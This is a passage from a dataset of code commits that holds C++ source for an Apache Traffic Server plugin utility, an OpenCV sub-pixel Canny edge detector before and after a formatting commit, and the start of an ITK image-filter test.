<ts\/ts.h>\n#include <pthread.h>\n#include <cstdlib>\n#include <cassert>\n#include <cstddef>\n#include \"atscppapi\/Plugin.h\"\n#include \"atscppapi\/GlobalPlugin.h\"\n#include \"atscppapi\/Transaction.h\"\n#include \"atscppapi\/TransactionPlugin.h\"\n#include \"atscppapi\/TransformationPlugin.h\"\n#include \"atscppapi\/utils.h\"\n#include \"logging_internal.h\"\n\nusing namespace atscppapi;\n\nnamespace {\n\n\/\/ This is the highest txn arg that can be used, we choose this\n\/\/ value to minimize the likelihood of it causing any problems.\nconst int MAX_TXN_ARG = 15;\nconst int TRANSACTION_STORAGE_INDEX = MAX_TXN_ARG;\n\nint handleTransactionEvents(TSCont cont, TSEvent event, void *edata) {\n \/\/ This function is only here to clean up Transaction objects\n TSHttpTxn ats_txn_handle = static_cast<TSHttpTxn>(edata);\n Transaction &transaction = utils::internal::getTransaction(ats_txn_handle);\n LOG_DEBUG(\"Got event %d on continuation %p for transaction (ats pointer %p, object %p)\", event, cont,\n ats_txn_handle, &transaction);\n\n switch (event) {\n case TS_EVENT_HTTP_POST_REMAP:\n transaction.getClientRequest().getUrl().reset();\n break;\n case TS_EVENT_HTTP_SEND_REQUEST_HDR:\n utils::internal::initTransactionServerRequest(transaction);\n break;\n case TS_EVENT_HTTP_READ_RESPONSE_HDR:\n utils::internal::initTransactionServerResponse(transaction);\n break;\n case TS_EVENT_HTTP_SEND_RESPONSE_HDR:\n utils::internal::initTransactionClientResponse(transaction);\n break;\n case TS_EVENT_HTTP_TXN_CLOSE:\n { \/\/ opening scope to declare plugins variable below \n const std::list<TransactionPlugin *> &plugins = utils::internal::getTransactionPlugins(transaction);\n for (std::list<TransactionPlugin *>::const_iterator iter = plugins.begin(), end = plugins.end();\n iter != end; ++iter) {\n shared_ptr<Mutex> trans_mutex = utils::internal::getTransactionPluginMutex(**iter);\n LOG_DEBUG(\"Locking TransacitonPlugin mutex to delete transaction plugin at %p\", *iter);\n trans_mutex->lock();\n LOG_DEBUG(\"Locked Mutex...Deleting transaction plugin at %p\", *iter);\n delete *iter;\n trans_mutex->unlock();\n }\n delete &transaction;\n }\n break;\n default:\n assert(false); \/* we should never get here *\/\n break;\n } \n TSHttpTxnReenable(ats_txn_handle, TS_EVENT_HTTP_CONTINUE);\n return 0;\n}\n\nvoid setupTransactionManagement() {\n \/\/ We must always have a cleanup handler available\n TSMutex mutex = NULL;\n TSCont cont = TSContCreate(handleTransactionEvents, mutex);\n TSHttpHookAdd(TS_HTTP_POST_REMAP_HOOK, cont);\n TSHttpHookAdd(TS_HTTP_SEND_REQUEST_HDR_HOOK, cont);\n TSHttpHookAdd(TS_HTTP_READ_RESPONSE_HDR_HOOK, cont);\n TSHttpHookAdd(TS_HTTP_SEND_RESPONSE_HDR_HOOK, cont);\n TSHttpHookAdd(TS_HTTP_TXN_CLOSE_HOOK, cont);\n}\n\nvoid inline invokePluginForEvent(Plugin *plugin, TSHttpTxn ats_txn_handle, TSEvent event) {\n Transaction &transaction = utils::internal::getTransaction(ats_txn_handle);\n switch (event) {\n case TS_EVENT_HTTP_PRE_REMAP:\n plugin->handleReadRequestHeadersPreRemap(transaction);\n break;\n case TS_EVENT_HTTP_POST_REMAP:\n plugin->handleReadRequestHeadersPostRemap(transaction);\n\n \/\/ This is hear to force a refresh of the cached client request url\n TSMBuffer hdr_buf;\n TSMLoc hdr_loc;\n TSHttpTxnClientReqGet(static_cast<TSHttpTxn>(transaction.getAtsHandle()), &hdr_buf, &hdr_loc);\n break;\n case TS_EVENT_HTTP_SEND_REQUEST_HDR:\n plugin->handleSendRequestHeaders(transaction);\n break;\n case TS_EVENT_HTTP_READ_RESPONSE_HDR:\n plugin->handleReadResponseHeaders(transaction);\n break;\n case TS_EVENT_HTTP_SEND_RESPONSE_HDR:\n plugin->handleSendResponseHeaders(transaction);\n break;\n case TS_EVENT_HTTP_OS_DNS:\n plugin->handleOsDns(transaction);\n break;\n default:\n assert(false); \/* we should never get here *\/\n break;\n }\n}\n\n} \/* anonymous namespace *\/\n\nTransaction &utils::internal::getTransaction(TSHttpTxn ats_txn_handle) {\n Transaction *transaction = static_cast<Transaction *>(TSHttpTxnArgGet(ats_txn_handle, TRANSACTION_STORAGE_INDEX));\n if (!transaction) {\n transaction = new Transaction(static_cast<void *>(ats_txn_handle));\n LOG_DEBUG(\"Created new transaction object at %p for ats pointer %p\", transaction, ats_txn_handle);\n TSHttpTxnArgSet(ats_txn_handle, TRANSACTION_STORAGE_INDEX, transaction);\n }\n return *transaction;\n}\n\nshared_ptr<Mutex> utils::internal::getTransactionPluginMutex(TransactionPlugin &transaction_plugin) {\n return transaction_plugin.getMutex();\n}\n\nTSHttpHookID utils::internal::convertInternalHookToTsHook(Plugin::HookType hooktype) {\n switch (hooktype) {\n case Plugin::HOOK_READ_REQUEST_HEADERS_POST_REMAP:\n return TS_HTTP_POST_REMAP_HOOK;\n case Plugin::HOOK_READ_REQUEST_HEADERS_PRE_REMAP:\n return TS_HTTP_PRE_REMAP_HOOK;\n case Plugin::HOOK_READ_RESPONSE_HEADERS:\n return TS_HTTP_READ_RESPONSE_HDR_HOOK;\n case Plugin::HOOK_SEND_REQUEST_HEADERS:\n return TS_HTTP_SEND_REQUEST_HDR_HOOK;\n case Plugin::HOOK_SEND_RESPONSE_HEADERS:\n return TS_HTTP_SEND_RESPONSE_HDR_HOOK;\n case Plugin::HOOK_OS_DNS:\n return TS_HTTP_OS_DNS_HOOK;\n default:\n assert(false); \/\/ shouldn't happen, let's catch it early\n break;\n }\n return static_cast<TSHttpHookID>(-1);\n}\n\nTSHttpHookID utils::internal::convertInternalTransformationTypeToTsHook(TransformationPlugin::Type type) {\n switch (type) {\n case TransformationPlugin::RESPONSE_TRANSFORMATION:\n return TS_HTTP_RESPONSE_TRANSFORM_HOOK;\n case TransformationPlugin::REQUEST_TRANSFORMATION:\n return TS_HTTP_REQUEST_TRANSFORM_HOOK;\n default:\n assert(false); \/\/ shouldn't happen, let's catch it early\n break;\n }\n return static_cast<TSHttpHookID>(-1);\n}\n\nvoid utils::internal::invokePluginForEvent(TransactionPlugin *plugin, TSHttpTxn ats_txn_handle, TSEvent event) {\n ScopedSharedMutexLock scopedLock(plugin->getMutex());\n ::invokePluginForEvent(static_cast<Plugin *>(plugin), ats_txn_handle, event);\n}\n\nvoid utils::internal::invokePluginForEvent(GlobalPlugin *plugin, TSHttpTxn ats_txn_handle, TSEvent event) {\n ::invokePluginForEvent(static_cast<Plugin *>(plugin), ats_txn_handle, event);\n}\n\nstd::string utils::internal::consumeFromTSIOBufferReader(TSIOBufferReader reader) {\n std::string str;\n int avail = TSIOBufferReaderAvail(reader);\n\n if (avail != TS_ERROR) {\n int consumed = 0;\n if (avail > 0) {\n str.reserve(avail + 1);\n\n int64_t data_len;\n const char *char_data;\n TSIOBufferBlock block = TSIOBufferReaderStart(reader);\n while (block != NULL) {\n char_data = TSIOBufferBlockReadStart(block, reader, &data_len);\n str.append(char_data, data_len);\n consumed += data_len;\n block = TSIOBufferBlockNext(block);\n }\n }\n TSIOBufferReaderConsume(reader, consumed);\n } else {\n LOG_ERROR(\"TSIOBufferReaderAvail returned error code %d for reader %p\", avail, reader);\n }\n\n return str;\n}\n\n\nHttpVersion utils::internal::getHttpVersion(TSMBuffer hdr_buf, TSMLoc hdr_loc) {\n int version = TSHttpHdrVersionGet(hdr_buf, hdr_loc);\n if (version != TS_ERROR) {\n if ((TS_HTTP_MAJOR(version) == 0) && (TS_HTTP_MINOR(version) == 0)) {\n return HTTP_VERSION_0_9;\n }\n if ((TS_HTTP_MAJOR(version) == 1) && (TS_HTTP_MINOR(version) == 0)) {\n return HTTP_VERSION_1_0;\n }\n if ((TS_HTTP_MAJOR(version) == 1) && (TS_HTTP_MINOR(version) == 1)) {\n return HTTP_VERSION_1_1;\n } else {\n LOG_ERROR(\"Unrecognized version %d\", version);\n }\n } else {\n LOG_ERROR(\"Could not get version; hdr_buf %p, hdr_loc %p\", hdr_buf, hdr_loc);\n }\n return HTTP_VERSION_UNKNOWN;\n}\n\nvoid utils::internal::initTransactionManagement() {\n static pthread_once_t setup_pthread_once_control = PTHREAD_ONCE_INIT;\n pthread_once(&setup_pthread_once_control, setupTransactionManagement);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"EdgesSubPix.h\"\n#include <cmath>\n#include <opencv2\/opencv.hpp>\nusing namespace cv;\nusing namespace std;\n\nstatic void getCannyKernel(OutputArray _d, double alpha)\n{\n int r = cvRound(alpha * 3);\n int ksize = 2 * r + 1;\n\n _d.create(ksize, 1, CV_16S, -1, true);\n\n Mat k = _d.getMat();\n\n vector<float> kerF(ksize, 0.0f);\n kerF[r] = 0.0f;\n double a2 = alpha * alpha;\n float sum = 0.0f;\n for (int x = 1; x <= r; ++x)\n {\n float v = (float)(-x * std::exp(-x * x \/ (2 * a2)));\n sum += v;\n kerF[r + x] = v;\n kerF[r - x] = -v;\n }\n float scale = 128 \/ sum;\n for (int i = 0; i < ksize; ++i)\n {\n kerF[i] *= scale;\n }\n Mat temp(ksize, 1, CV_32F, &kerF[0]);\n temp.convertTo(k, CV_16S);\n}\n\n\/\/ non-maximum supression and hysteresis\nstatic void postCannyFilter(const Mat &src, Mat &dx, Mat &dy, int low, int high, Mat &dst)\n{\n ptrdiff_t mapstep = src.cols + 2;\n AutoBuffer<uchar> buffer((src.cols + 2)*(src.rows + 2) + mapstep * 3 * sizeof(int));\n\n \/\/ L2Gradient comparison with square\n high = high * high;\n low = low * low;\n\n int* mag_buf[3];\n mag_buf[0] = (int*)(uchar*)buffer;\n mag_buf[1] = mag_buf[0] + mapstep;\n mag_buf[2] = mag_buf[1] + mapstep;\n memset(mag_buf[0], 0, \/* cn* *\/mapstep*sizeof(int));\n\n uchar* map = (uchar*)(mag_buf[2] + mapstep);\n memset(map, 1, mapstep);\n memset(map + mapstep*(src.rows + 1), 1, mapstep);\n\n int maxsize = std::max(1 << 10, src.cols * src.rows \/ 10);\n std::vector<uchar*> stack(maxsize);\n uchar **stack_top = &stack[0];\n uchar **stack_bottom = &stack[0];\n\n \/* sector numbers\n (Top-Left Origin)\n\n 1 2 3\n * * *\n * * *\n 0*******0\n * * *\n * * *\n 3 2 1\n *\/\n\n#define CANNY_PUSH(d) *(d) = uchar(2), *stack_top++ = (d)\n#define CANNY_POP(d) (d) = *--stack_top\n\n#if CV_SSE2\n bool haveSSE2 = checkHardwareSupport(CV_CPU_SSE2);\n#endif\n\n \/\/ calculate magnitude and angle of gradient, perform non-maxima suppression.\n \/\/ fill the map with one of the following values:\n \/\/ 0 - the pixel might belong to an edge\n \/\/ 1 - the pixel can not belong to an edge\n \/\/ 2 - the pixel does belong to an edge\n for (int i = 0; i <= src.rows; i++)\n {\n int* _norm = mag_buf[(i > 0) + 1] + 1;\n if (i < src.rows)\n {\n short* _dx = dx.ptr<short>(i);\n short* _dy = dy.ptr<short>(i);\n\n int j = 0, width = src.cols;\n#if CV_SSE2\n if (haveSSE2)\n {\n for (; j <= width - 8; j += 8)\n {\n __m128i v_dx = _mm_loadu_si128((const __m128i *)(_dx + j));\n __m128i v_dy = _mm_loadu_si128((const __m128i *)(_dy + j));\n\n __m128i v_dx_ml = _mm_mullo_epi16(v_dx, v_dx), v_dx_mh = _mm_mulhi_epi16(v_dx, v_dx);\n __m128i v_dy_ml = _mm_mullo_epi16(v_dy, v_dy), v_dy_mh = _mm_mulhi_epi16(v_dy, v_dy);\n\n __m128i v_norm = _mm_add_epi32(_mm_unpacklo_epi16(v_dx_ml, v_dx_mh), _mm_unpacklo_epi16(v_dy_ml, v_dy_mh));\n _mm_storeu_si128((__m128i *)(_norm + j), v_norm);\n\n v_norm = _mm_add_epi32(_mm_unpackhi_epi16(v_dx_ml, v_dx_mh), _mm_unpackhi_epi16(v_dy_ml, v_dy_mh));\n _mm_storeu_si128((__m128i *)(_norm + j + 4), v_norm);\n }\n }\n#elif CV_NEON\n for (; j <= width - 8; j += 8)\n {\n int16x8_t v_dx = vld1q_s16(_dx + j), v_dy = vld1q_s16(_dy + j);\n int16x4_t v_dxp = vget_low_s16(v_dx), v_dyp = vget_low_s16(v_dy);\n int32x4_t v_dst = vmlal_s16(vmull_s16(v_dxp, v_dxp), v_dyp, v_dyp);\n vst1q_s32(_norm + j, v_dst);\n\n v_dxp = vget_high_s16(v_dx), v_dyp = vget_high_s16(v_dy);\n v_dst = vmlal_s16(vmull_s16(v_dxp, v_dxp), v_dyp, v_dyp);\n vst1q_s32(_norm + j + 4, v_dst);\n }\n#endif\n for (; j < width; ++j)\n _norm[j] = int(_dx[j])*_dx[j] + int(_dy[j])*_dy[j];\n\n _norm[-1] = _norm[src.cols] = 0;\n }\n else\n memset(_norm - 1, 0, \/* cn* *\/mapstep*sizeof(int));\n\n \/\/ at the very beginning we do not have a complete ring\n \/\/ buffer of 3 magnitude rows for non-maxima suppression\n if (i == 0)\n continue;\n\n uchar* _map = map + mapstep*i + 1;\n _map[-1] = _map[src.cols] = 1;\n\n int* _mag = mag_buf[1] + 1; \/\/ take the central row\n ptrdiff_t magstep1 = mag_buf[2] - mag_buf[1];\n ptrdiff_t magstep2 = mag_buf[0] - mag_buf[1];\n\n const short* _x = dx.ptr<short>(i - 1);\n const short* _y = dy.ptr<short>(i - 1);\n\n if ((stack_top - stack_bottom) + src.cols > maxsize)\n {\n int sz = (int)(stack_top - stack_bottom);\n maxsize = std::max(maxsize * 3 \/ 2, sz + src.cols);\n stack.resize(maxsize);\n stack_bottom = &stack[0];\n stack_top = stack_bottom + sz;\n }\n\n int prev_flag = 0;\n for (int j = 0; j < src.cols; j++)\n {\n#define CANNY_SHIFT 15\n const int TG22 = (int)(0.4142135623730950488016887242097*(1 << CANNY_SHIFT) + 0.5);\n\n int m = _mag[j];\n\n if (m > low)\n {\n int xs = _x[j];\n int ys = _y[j];\n int x = std::abs(xs);\n int y = std::abs(ys) << CANNY_SHIFT;\n\n int tg22x = x * TG22;\n\n if (y < tg22x)\n {\n if (m > _mag[j - 1] && m >= _mag[j + 1]) goto __ocv_canny_push;\n }\n else\n {\n int tg67x = tg22x + (x << (CANNY_SHIFT + 1));\n if (y > tg67x)\n {\n if (m > _mag[j + magstep2] && m >= _mag[j + magstep1]) goto __ocv_canny_push;\n }\n else\n {\n int s = (xs ^ ys) < 0 ? -1 : 1;\n if (m > _mag[j + magstep2 - s] && m > _mag[j + magstep1 + s]) goto __ocv_canny_push;\n }\n }\n }\n prev_flag = 0;\n _map[j] = uchar(1);\n continue;\n __ocv_canny_push:\n if (!prev_flag && m > high && _map[j - mapstep] != 2)\n {\n CANNY_PUSH(_map + j);\n prev_flag = 1;\n }\n else\n _map[j] = 0;\n }\n\n \/\/ scroll the ring buffer\n _mag = mag_buf[0];\n mag_buf[0] = mag_buf[1];\n mag_buf[1] = mag_buf[2];\n mag_buf[2] = _mag;\n }\n\n \/\/ now track the edges (hysteresis thresholding)\n while (stack_top > stack_bottom)\n {\n uchar* m;\n if ((stack_top - stack_bottom) + 8 > maxsize)\n {\n int sz = (int)(stack_top - stack_bottom);\n maxsize = maxsize * 3 \/ 2;\n stack.resize(maxsize);\n stack_bottom = &stack[0];\n stack_top = stack_bottom + sz;\n }\n\n CANNY_POP(m);\n\n if (!m[-1]) CANNY_PUSH(m - 1);\n if (!m[1]) CANNY_PUSH(m + 1);\n if (!m[-mapstep - 1]) CANNY_PUSH(m - mapstep - 1);\n if (!m[-mapstep]) CANNY_PUSH(m - mapstep);\n if (!m[-mapstep + 1]) CANNY_PUSH(m - mapstep + 1);\n if (!m[mapstep - 1]) CANNY_PUSH(m + mapstep - 1);\n if (!m[mapstep]) CANNY_PUSH(m + mapstep);\n if (!m[mapstep + 1]) CANNY_PUSH(m + mapstep + 1);\n }\n\n \/\/ the final pass, form the final image\n const uchar* pmap = map + mapstep + 1;\n uchar* pdst = dst.ptr();\n for (int i = 0; i < src.rows; i++, pmap += mapstep, pdst += dst.step)\n {\n for (int j = 0; j < src.cols; j++)\n pdst[j] = (uchar)-(pmap[j] >> 1);\n }\n}\n\n\/\/---------------------------------------------------------------------\n\/\/ INTERFACE FUNCTION\n\/\/---------------------------------------------------------------------\nvoid EdgesSubPix(Mat &gray, double alpha, int low, int high,\n vector<Contour> &contours, OutputArray hierarchy,\n int mode, Point2f offset)\n{\n Mat blur;\n GaussianBlur(gray, blur, Size(0, 0), alpha, alpha);\n\n Mat d;\n getCannyKernel(d, alpha);\n Mat one = Mat::ones(Size(1, 1), CV_16S);\n Mat dx, dy;\n sepFilter2D(blur, dx, CV_16S, d, one);\n sepFilter2D(blur, dy, CV_16S, one, d);\n\n \/\/ non-maximum supression & hysteresis threshold\n Mat edge = Mat::zeros(gray.size(), CV_8UC1);\n double scale = 128.0; \/\/ sum of half Canny filter is 128\n int lowThresh = cvRound(scale * low);\n int highThresh = cvRound(scale * high);\n postCannyFilter(gray, dx, dy, lowThresh, highThresh, edge);\n}\n\nvoid EdgesSubPix(Mat &gray, double alpha, int low, int high,\n vector<Contour> &contours, Point2f offset)\n{\n vector<Vec4i> hierarchy;\n EdgesSubPix(gray, alpha, low, high, contours, hierarchy, RETR_LIST);\n}\n<commit_msg>some text formating<commit_after>#include \"EdgesSubPix.h\"\n#include <cmath>\n#include <opencv2\/opencv.hpp>\nusing namespace cv;\nusing namespace std;\n\nstatic void getCannyKernel(OutputArray _d, double alpha)\n{\n int r = cvRound(alpha * 3);\n int ksize = 2 * r + 1;\n\n _d.create(ksize, 1, CV_16S, -1, true);\n\n Mat k = _d.getMat();\n\n vector<float> kerF(ksize, 0.0f);\n kerF[r] = 0.0f;\n double a2 = alpha * alpha;\n float sum = 0.0f;\n for (int x = 1; x <= r; ++x)\n {\n float v = (float)(-x * std::exp(-x * x \/ (2 * a2)));\n sum += v;\n kerF[r + x] = v;\n kerF[r - x] = -v;\n }\n float scale = 128 \/ sum;\n for (int i = 0; i < ksize; ++i)\n {\n kerF[i] *= scale;\n }\n Mat temp(ksize, 1, CV_32F, &kerF[0]);\n temp.convertTo(k, CV_16S);\n}\n\n\/\/ non-maximum supression and hysteresis\nstatic void postCannyFilter(const Mat &src, Mat &dx, Mat &dy, int low, int high, Mat &dst)\n{\n ptrdiff_t mapstep = src.cols + 2;\n AutoBuffer<uchar> buffer((src.cols + 2)*(src.rows + 2) + mapstep * 3 * sizeof(int));\n\n \/\/ L2Gradient comparison with square\n high = high * high;\n low = low * low;\n\n int* mag_buf[3];\n mag_buf[0] = (int*)(uchar*)buffer;\n mag_buf[1] = mag_buf[0] + mapstep;\n mag_buf[2] = mag_buf[1] + mapstep;\n memset(mag_buf[0], 0, mapstep*sizeof(int));\n\n uchar* map = (uchar*)(mag_buf[2] + mapstep);\n memset(map, 1, mapstep);\n memset(map + mapstep*(src.rows + 1), 1, mapstep);\n\n int maxsize = std::max(1 << 10, src.cols * src.rows \/ 10);\n std::vector<uchar*> stack(maxsize);\n uchar **stack_top = &stack[0];\n uchar **stack_bottom = &stack[0];\n\n \/* sector numbers\n (Top-Left Origin)\n\n 1 2 3\n * * *\n * * *\n 0*******0\n * * *\n * * *\n 3 2 1\n *\/\n\n#define CANNY_PUSH(d) *(d) = uchar(2), *stack_top++ = (d)\n#define CANNY_POP(d) (d) = *--stack_top\n\n#if CV_SSE2\n bool haveSSE2 = checkHardwareSupport(CV_CPU_SSE2);\n#endif\n\n \/\/ calculate magnitude and angle of gradient, perform non-maxima suppression.\n \/\/ fill the map with one of the following values:\n \/\/ 0 - the pixel might belong to an edge\n \/\/ 1 - the pixel can not belong to an edge\n \/\/ 2 - the pixel does belong to an edge\n for (int i = 0; i <= src.rows; i++)\n {\n int* _norm = mag_buf[(i > 0) + 1] + 1;\n if (i < src.rows)\n {\n short* _dx = dx.ptr<short>(i);\n short* _dy = dy.ptr<short>(i);\n\n int j = 0, width = src.cols;\n#if CV_SSE2\n if (haveSSE2)\n {\n for (; j <= width - 8; j += 8)\n {\n __m128i v_dx = _mm_loadu_si128((const __m128i *)(_dx + j));\n __m128i v_dy = _mm_loadu_si128((const __m128i *)(_dy + j));\n\n __m128i v_dx_ml = _mm_mullo_epi16(v_dx, v_dx), v_dx_mh = _mm_mulhi_epi16(v_dx, v_dx);\n __m128i v_dy_ml = _mm_mullo_epi16(v_dy, v_dy), v_dy_mh = _mm_mulhi_epi16(v_dy, v_dy);\n\n __m128i v_norm = _mm_add_epi32(_mm_unpacklo_epi16(v_dx_ml, v_dx_mh), _mm_unpacklo_epi16(v_dy_ml, v_dy_mh));\n _mm_storeu_si128((__m128i *)(_norm + j), v_norm);\n\n v_norm = _mm_add_epi32(_mm_unpackhi_epi16(v_dx_ml, v_dx_mh), _mm_unpackhi_epi16(v_dy_ml, v_dy_mh));\n _mm_storeu_si128((__m128i *)(_norm + j + 4), v_norm);\n }\n }\n#elif CV_NEON\n for (; j <= width - 8; j += 8)\n {\n int16x8_t v_dx = vld1q_s16(_dx + j), v_dy = vld1q_s16(_dy + j);\n int16x4_t v_dxp = vget_low_s16(v_dx), v_dyp = vget_low_s16(v_dy);\n int32x4_t v_dst = vmlal_s16(vmull_s16(v_dxp, v_dxp), v_dyp, v_dyp);\n vst1q_s32(_norm + j, v_dst);\n\n v_dxp = vget_high_s16(v_dx), v_dyp = vget_high_s16(v_dy);\n v_dst = vmlal_s16(vmull_s16(v_dxp, v_dxp), v_dyp, v_dyp);\n vst1q_s32(_norm + j + 4, v_dst);\n }\n#endif\n for (; j < width; ++j)\n _norm[j] = int(_dx[j])*_dx[j] + int(_dy[j])*_dy[j];\n\n _norm[-1] = _norm[src.cols] = 0;\n }\n else\n memset(_norm - 1, 0, \/* cn* *\/mapstep*sizeof(int));\n\n \/\/ at the very beginning we do not have a complete ring\n \/\/ buffer of 3 magnitude rows for non-maxima suppression\n if (i == 0)\n continue;\n\n uchar* _map = map + mapstep*i + 1;\n _map[-1] = _map[src.cols] = 1;\n\n int* _mag = mag_buf[1] + 1; \/\/ take the central row\n ptrdiff_t magstep1 = mag_buf[2] - mag_buf[1];\n ptrdiff_t magstep2 = mag_buf[0] - mag_buf[1];\n\n const short* _x = dx.ptr<short>(i - 1);\n const short* _y = dy.ptr<short>(i - 1);\n\n if ((stack_top - stack_bottom) + src.cols > maxsize)\n {\n int sz = (int)(stack_top - stack_bottom);\n maxsize = std::max(maxsize * 3 \/ 2, sz + src.cols);\n stack.resize(maxsize);\n stack_bottom = &stack[0];\n stack_top = stack_bottom + sz;\n }\n\n int prev_flag = 0;\n for (int j = 0; j < src.cols; j++)\n {\n #define CANNY_SHIFT 15\n const int TG22 = (int)(0.4142135623730950488016887242097*(1 << CANNY_SHIFT) + 0.5);\n\n int m = _mag[j];\n\n if (m > low)\n {\n int xs = _x[j];\n int ys = _y[j];\n int x = std::abs(xs);\n int y = std::abs(ys) << CANNY_SHIFT;\n\n int tg22x = x * TG22;\n\n if (y < tg22x)\n {\n if (m > _mag[j - 1] && m >= _mag[j + 1]) goto __ocv_canny_push;\n }\n else\n {\n int tg67x = tg22x + (x << (CANNY_SHIFT + 1));\n if (y > tg67x)\n {\n if (m > _mag[j + magstep2] && m >= _mag[j + magstep1]) goto __ocv_canny_push;\n }\n else\n {\n int s = (xs ^ ys) < 0 ? -1 : 1;\n if (m > _mag[j + magstep2 - s] && m > _mag[j + magstep1 + s]) goto __ocv_canny_push;\n }\n }\n }\n prev_flag = 0;\n _map[j] = uchar(1);\n continue;\n __ocv_canny_push:\n if (!prev_flag && m > high && _map[j - mapstep] != 2)\n {\n CANNY_PUSH(_map + j);\n prev_flag = 1;\n }\n else\n _map[j] = 0;\n }\n\n \/\/ scroll the ring buffer\n _mag = mag_buf[0];\n mag_buf[0] = mag_buf[1];\n mag_buf[1] = mag_buf[2];\n mag_buf[2] = _mag;\n }\n\n \/\/ now track the edges (hysteresis thresholding)\n while (stack_top > stack_bottom)\n {\n uchar* m;\n if ((stack_top - stack_bottom) + 8 > maxsize)\n {\n int sz = (int)(stack_top - stack_bottom);\n maxsize = maxsize * 3 \/ 2;\n stack.resize(maxsize);\n stack_bottom = &stack[0];\n stack_top = stack_bottom + sz;\n }\n\n CANNY_POP(m);\n\n if (!m[-1]) CANNY_PUSH(m - 1);\n if (!m[1]) CANNY_PUSH(m + 1);\n if (!m[-mapstep - 1]) CANNY_PUSH(m - mapstep - 1);\n if (!m[-mapstep]) CANNY_PUSH(m - mapstep);\n if (!m[-mapstep + 1]) CANNY_PUSH(m - mapstep + 1);\n if (!m[mapstep - 1]) CANNY_PUSH(m + mapstep - 1);\n if (!m[mapstep]) CANNY_PUSH(m + mapstep);\n if (!m[mapstep + 1]) CANNY_PUSH(m + mapstep + 1);\n }\n\n \/\/ the final pass, form the final image\n const uchar* pmap = map + mapstep + 1;\n uchar* pdst = dst.ptr();\n for (int i = 0; i < src.rows; i++, pmap += mapstep, pdst += dst.step)\n {\n for (int j = 0; j < src.cols; j++)\n pdst[j] = (uchar)-(pmap[j] >> 1);\n }\n}\n\n\/\/---------------------------------------------------------------------\n\/\/ INTERFACE FUNCTION\n\/\/---------------------------------------------------------------------\nvoid EdgesSubPix(Mat &gray, double alpha, int low, int high,\n vector<Contour> &contours, OutputArray hierarchy,\n int mode, Point2f offset)\n{\n Mat blur;\n GaussianBlur(gray, blur, Size(0, 0), alpha, alpha);\n\n Mat d;\n getCannyKernel(d, alpha);\n Mat one = Mat::ones(Size(1, 1), CV_16S);\n Mat dx, dy;\n sepFilter2D(blur, dx, CV_16S, d, one);\n sepFilter2D(blur, dy, CV_16S, one, d);\n\n \/\/ non-maximum supression & hysteresis threshold\n Mat edge = Mat::zeros(gray.size(), CV_8UC1);\n double scale = 128.0; \/\/ sum of half Canny filter is 128\n int lowThresh = cvRound(scale * low);\n int highThresh = cvRound(scale * high);\n postCannyFilter(gray, dx, dy, lowThresh, highThresh, edge);\n}\n\nvoid EdgesSubPix(Mat &gray, double alpha, int low, int high,\n vector<Contour> &contours, Point2f offset)\n{\n vector<Vec4i> hierarchy;\n EdgesSubPix(gray, alpha, low, high, contours, hierarchy, RETR_LIST);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkSpatialObjectToImageFilterTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) 2002 Insight Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\n#include \"itkEllipseSpatialObject.h\"\n#include <itkSpatialObjectToImageFilter.h>\n\nint itkSpatialObjectToImageFilterTest(int, char* [] )\n{\n typedef itk::EllipseSpatialObject<2> EllipseType;\n\n EllipseType::Pointer ellipse = EllipseType::New();\n ellipse->SetRadius(10);\n\n \/\/ Center the circle in the image\n EllipseType::TransformType::OffsetType offset;\n offset.Fill(25);\n ellipse->GetObjectToParentTransform()->SetOffset(offset);\n ellipse->ComputeObjectToWorldTransform();\n\n typedef itk::Image<double,2> ImageType;\n\n typedef itk::SpatialObjectToImageFilter<EllipseType,ImageType> SpatialObjectToImageFilterType;\n SpatialObjectToImageFilterType::Pointer imageFilter = SpatialObjectToImageFilterType::New();\n imageFilter->SetInput(ellipse);\n imageFilter->SetInsideValue(1);\n imageFilter->SetOutsideValue(0);\n ImageType::SizeType size;\n size[0]=50;\n size[1]=50;\n imageFilter->SetSize(size);\n\n \/\/ Testing spacing \n std::cout << \"Testing Spacing: \";\n \n float spacing_float[2];\n double spacing_double[2];\n\n for(unsigned int i=0;i<2;i++)\n {\n spacing_float[i]=1.0;\n spacing_double[i]=1.0;\n }\n imageFilter->SetSpacing(spacing_float);\n imageFilter->SetSpacing(spacing_double);\n const double* spacing_result = imageFilter->GetSpacing();\n \n for(unsigned int i=0;i<2;i++)\n {\n if(spacing_result[i]!=1.0)\n {\n std::cout << \"[FAILURE]\" << std::endl;\n return EXIT_FAILURE;\n }\n }\n\n std::cout << \"[PASSED]\" << std::endl;\n\n \/\/ Testing Origin \n std::cout << \"Testing Origin: \";\n \n float origin_float[2];\n double origin_double[2];\n\n for(unsigned int i=0;i<2;i++)\n {\n origin_float[i]=0.0;\n origin_double[i]=0.0;\n }\n imageFilter->SetOrigin(origin_float);\n imageFilter->SetOrigin(origin_double);\n const double* origin_result = imageFilter->GetOrigin();\n \n for(unsigned int i=0;i<2;i++)\n {\n if(origin_result[i]!=0.0)\n {\n std::cout << \"[FAILURE]\" << std::endl;\n return EXIT_FAILURE;\n }\n }\n\n std::cout << \"[PASSED]\" << std::endl;\n\n \/\/ Testing PrintSelf\n std::cout << imageFilter << std::endl;\n\n \/\/Update the filter\n imageFilter->Update();\n\n ImageType::Pointer image = imageFilter->GetOutput();\n\n std::cout << \"Testing Output Image: \";\n\n ImageType::IndexType index;\n \/\/ Test only centered pixels\n for(int i=-5;i<5;i++)\n {\n for(int j=-5;j<5;j++)\n {\n index[0] = 25+i;\n index[1] = 25+j;\n\n if(image->GetPixel(index) != 1.0)\n {\n std::cout << \"[FAILURE]\" << std::endl;\n return EXIT_FAILURE;\n }\n }\n }\n \n\n\n std::cout << \"[PASSED]\" << std::endl;\n\n return EXIT_SUCCESS;\n}\n<commit_msg>ENH: improve coverage<commit_after>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkSpatialObjectToImageFilterTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) 2002 Insight Consortium. All rights reserved.\n See ITKCopyright.txt 